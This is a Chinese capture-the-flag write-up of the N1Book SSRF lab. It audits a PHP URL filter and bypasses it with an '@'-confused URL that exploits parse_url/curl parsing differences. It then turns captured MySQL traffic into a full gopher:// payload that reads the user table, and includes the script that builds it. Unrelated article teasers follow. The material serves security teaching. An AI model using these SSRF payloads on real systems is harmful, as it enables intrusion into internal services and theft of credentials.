CTFer成长之路之SSRF漏洞

news2024/11/28 22:37:15

SSRF漏洞CTF

SSRF Training

题目描述:

web容器中存在一个flag,mysql中存在一个管理员账号密码,其余容器中均没有特定flag

mysql容器中内置 tcpdump

vulnweb容器中内置一个 fpm.py 攻击脚本

docker-compose.yml

version: "3"
services:
  web:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
    depends_on: 
      - redis
      - vuln
      - mysql
    ports:
      - "8233:80"

  redis:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest

  vuln:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
    
  mysql:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
    environment:
      - MYSQL_RANDOM_ROOT_PASSWORD=yes

启动方式

docker-compose up -d

http://localhost:8233

题目Flag

n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

Writeup

进入环境

在这里插入图片描述

点击interesting challenge

开始代码审计

<?php 
highlight_file(__FILE__);//用PHP高亮显示当前的文件
function check_inner_ip($url) //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
  	//返回$url的匹配,值将是 0 次(不匹配)或 1 
    //^从开头开始匹配
   	//? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
    //( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)
    //.	匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 
    //*	匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*
    //$:从字符串末尾进行匹配
    if (!$match_result) 
    { 
        die('url fomat error'); 
        //如果url不符合正则表达式
    } 
    try 
    { 
        $url_parse=parse_url($url); 
        //分解出一个URL的各个部
        // $url_parse是一个数组
        
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; //hostname 为主机名,也就是域名
    $ip=gethostbyname($hostname); //通过域名获取IP地址
    $int_ip=ip2long($ip); //ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
    //判断是否是私有地址,是则这个函数就返回1
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    //判断url是否是私有地址
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
        curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //
        curl_setopt($ch, CURLOPT_HEADER, 0); //
        //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
        $output = curl_exec($ch); //抓取URL并把它传递给浏览器
        $result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
        //[php curl curl_getinfo()返回参数详解](https://www.cnblogs.com/zqifa/p/php-curl-3.html)
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); // 关闭cURL资源,并且释放系统资源
        var_dump($output); //执行
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

parse_url:

代码:

<?php $url = 'http://username:password@hostname/path?arg=value@anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

结果:

在这里插入图片描述

curl_getinfo

代码:

<?php
$url = 'http://a:@127.0.0.1:80@baidu.com/flag.php';
//print_r(parse_url($url));
$ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
print_r(curl_getinfo($ch));        
?>

结果:

在这里插入图片描述

payload:

http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php

传入的URL为http://a:@127.0.0.1:80@baidu.com,那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com

代码:

<?php
$url = 'http://a:@127.0.0.1:80@baidu.com/flag.php';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);        
?>

结果:

在这里插入图片描述

而curl取到的是127.0.0.1:80,所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1

在这里插入图片描述

得到flag:n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

接下来是攻击MySQL,打开2个MySQL容器,一个使用tcpdump,一个进行MySQL查询。

使用docker ps命令找到mysql容器的command id为e2c90d571d32

在这里插入图片描述

使用docker inspect e2c90d571命令查找mysql容器的pid为3602

在这里插入图片描述

使用nsenter --target 3602 -n命令进入mysql容器

在这里插入图片描述

查看mysql容器的ip

在这里插入图片描述

使用tcpdump抓取mysql容器内的包

tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap

结果:

在这里插入图片描述

使用docker ps命令找到mysql容器的command id为e2c90d571d32

在这里插入图片描述

使用docker inspect e2c90d571d32 | grep IPAddress命令找到mysql容器的ip为172.21.0.4

在这里插入图片描述

连接mysql

mysql -h 172.21.0.4 -uweb

使用ssrf数据库

use ssrf;

查询账号密码

select * from user;

结果

在这里插入图片描述

用wireshark打开这个数据包,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包:

在这里插入图片描述

把它转为原始数据,再将原始数据整理为一行,并将其url编码。

这里用到的URL编码脚本如下:

def result(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
    s="bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
    print(result(s))

得到:

在这里插入图片描述

将其修改为。ip可为MySQL容器的ip或者127.0.0.1

curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01 | cat

进行攻击,获得user表中的数据,运行结果:

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/364073.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

有色金属行业数字化之路探析

有色金属行业是我国国民经济的支柱产业和重要组成部分&#xff0c;是处于整个原材料生产链的上游环节&#xff0c;其支撑着冶炼、钢铁、智能制造业、芯片、建筑等行业的发展&#xff0c;也是是科学研究、国防建设等方面发展的重要材料基础&#xff0c;同时还是保障国家综合实力…

Linux之安装node

Linux之安装node步骤如下 1.去网站下载node 下载地址&#xff1a; https://npm.taobao.org/mirrors/ 2.上传到指定目录下 3.解压 tar -zxvf node-v17.3.0-linux-x644.配置node环境变量 //执行以下命令 vim /etc/profile //在path中加入以下内容 /usr/local/node-v15.14.0/b…

电力电子系统仿真软件--Psim仿真软件设计

目录 1.简介 2.应用优势 3.应用领域 4.电路结构 5.界面介绍 6.应用实例 6.1 主电路部分 6.2 控制电路部分 6.3 具体的电路原理及仿真搭建过程后续会一一介绍&#xff0c;请各位点赞关注&#xff0c;你的关注将是博主最大的更新动力。 7.电力系统仿真软件下载链接 1.简…

以萨技术在科创板IPO终止:计划募资15亿元,实控人为李凡平

2月21日&#xff0c;上海证券交易所披露的信息显示&#xff0c;因以萨技术股份有限公司&#xff08;下称“以萨技术”&#xff09;及其保荐人撤回发行上市申请&#xff0c;根据《上海证券交易所股票发行上市审核规则》第六十三条的相关规定&#xff0c;上海证券交易所终止其发行…

创业能否成功?这几个因素很重要!

创业能否成功&#xff1f;这几个因素很重要&#xff01; 2023-02-22 19:06:53 大家好&#xff0c;我是你们熟悉而又陌生的好朋友梦龙&#xff0c;一个创业期的年轻人 上周末跟朋友一起钓鱼&#xff0c;他跟吐槽现在生意越来越难做。他是我身边可以说是创业很成功的例子&#…

拨开迷雾 看见vivo穿越周期的秘密

文|智能相对论作者|佘凯文任何一个行业都有周期性&#xff0c;就好像我们在做股票投资的时候&#xff0c;提到最多的就是周期规律&#xff0c;因为只有掌握规律才可以让我们赚到钱。所以不论是哪家公司都逃脱不了行业周期的宿命。行业寒冬方显强者本色就拿手机行业来说吧&#…

初探 qiling ( 麒麟 ):开源的二进制分析、高级代码模拟框架

官方介绍&#xff1a; 官网&#xff1a;https://qiling.io/&#xff1a;https://twitter.com/qiling_iogithub 地址&#xff1a;https://github.com/qilingframework/qiling 1、qiling 简介 qiling 是什么 qiling 基于 python 开发&#xff0c;是一个开源的、可模拟多种架构…

Vue3 基础

Vue3 基础 概述 Vue (发音为 /vjuː/&#xff0c;类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;并提供了一套声明式的、组件化的编程模型&#xff0c;帮助你高效地开发用户界面。无论是简单还是复杂的界面&…

升职加薪必备,2023年程序员不能不知道的AI辅助编码工具

已经有很多人把chatGPT当做必备的Bug修复工具了&#xff0c;对于用AI写代码&#xff0c;有人感到失落&#xff0c;害怕被取代&#xff0c;而另一些人则认为人工智能将加快编写更好代码的过程。 尽管 AI 编写的代码并非完美无缺&#xff0c;但我相信&#xff0c;最终AI将取代人…

Java实例——网络实例

1、主机IP地址获取 步骤一&#xff1a;获取主机InetAddress 步骤二&#xff1a;获取主机IP地址 InetAddress address null;try {address InetAddress.getByName("www.baidu.com");}catch (UnknownHostException e) {System.exit(2);}System.out.println("Host…

聚类(性能度量)

文章目录聚类&#xff08;性能度量&#xff09;外部指标例1内部指标例2聚类&#xff08;性能度量&#xff09; 对数据集 D{x1,x2,...,xm}D\{x_1,x_2,...,x_m\}D{x1​,x2​,...,xm​} &#xff0c;假定通过聚类给出的簇划分为 C{C1,C2,...,Ck}C\{C_1,C_2,...,C_k\}C{C1​,C2​,…

计算机组成原理错题

静态RAM&#xff08;SRAM&#xff09;和动态RAM&#xff08;DRAM&#xff09;的基本电路图不同&#xff0c;因此可以通过观察存储器的基本电路图来判断它属于哪一类。 静态RAM的基本电路图包括一个存储单元和一个数据选择器。每个存储单元由一个触发器&#xff08;flip-flop&a…

汽车零部件企业数字工厂管理系统建设方案

在汽车零部件制造领域&#xff0c;伴随工业信息化与机器人化&#xff0c;制造模式逐渐从 CAD/CAE/CAM 数字化设计及加工走向全产品周期虚拟现实的数字化工厂管理系统平台&#xff0c;实现虚拟现实设计制造&#xff0c;防范产品缺陷并预防设备故障&#xff0c;大幅提高生产效率。…

做出选择,直面挑战,揭开数据中心网络的发展真相

为什么&#xff1f;你们发现没有&#xff1f;不知道&#xff0c;从什么时候开始&#xff0c;这个世界&#xff0c;变得越来越快了。快得仿佛昨天刚刚来到这个世界&#xff0c;一眨眼就日暮西山了。是的&#xff0c;时间过得好快&#xff0c;回想起2002年7月电气和电子工程师协会…

炼石:八年饮冰难凉热血,初心如磐百炼成钢

炼石成立八周年 八载笃行&#xff0c;踔厉奋发。创立于2015年的炼石&#xff0c;今天迎来了八岁生日&#xff0c;全体员工共同举行了温暖又充满仪式感的周年庆典。过去的2022&#xff0c;是三年疫情的艰难“收官之年”&#xff0c;新的2023&#xff0c;将是数据安全行业成为独…

FFT的物理意义

FFT结果的物理意义 FFT是离散傅立叶变换的快速算法&#xff0c;可以将一个信号变换到频域。有些信号在时域上是很难看出什么特征的&#xff0c;但是如果变换到频域之后&#xff0c;就很容易看出特征了。这 就是很多信号分析采用FFT变换的原因。另外&#xff0c;FFT可以将一…

内网渗透(四十九)之域控安全和跨域攻击-多种方式离线读取ntds.dit文件中的hash值

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…

Java方法【未完待续】

目录 前言 一、什么是方法&#xff1f; 二、方法的定义和调用 方法的定义 方法的调用 三、方法的重载 重载规则 实现理论 总结 前言 随着对Java这一编程语言的深入学习&#xff0c;大家可能会遇到一个熟悉又陌生的词——方法&#xff0c;其实Java方法就是我们学习C/C时…

2023该好好赚钱了,推荐三个下班就能做的副业

在过去的两年里&#xff0c;越来越多的同事选择辞职创业。许多人通过互联网红利赚到了他们的第一桶金。随着短视频的兴起&#xff0c;越来越多的人吹嘘自己年收入百万&#xff0c;导致很多刚进入职场的年轻人逐渐迷失自我&#xff0c;认为钱特别容易赚。但事实上&#xff0c;80…

构造agent类型的内存马(内存马系列篇十三)

写在前面 前面我们对JAVA中的Agent技术进行了简单的学习&#xff0c;学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫&#xff0c;接下来我们就来看看Agent内存马的实现。 这是内存马系列篇的第十三篇了。 环境搭建 我这里就使用Springboot来搭建一个简单的漏洞…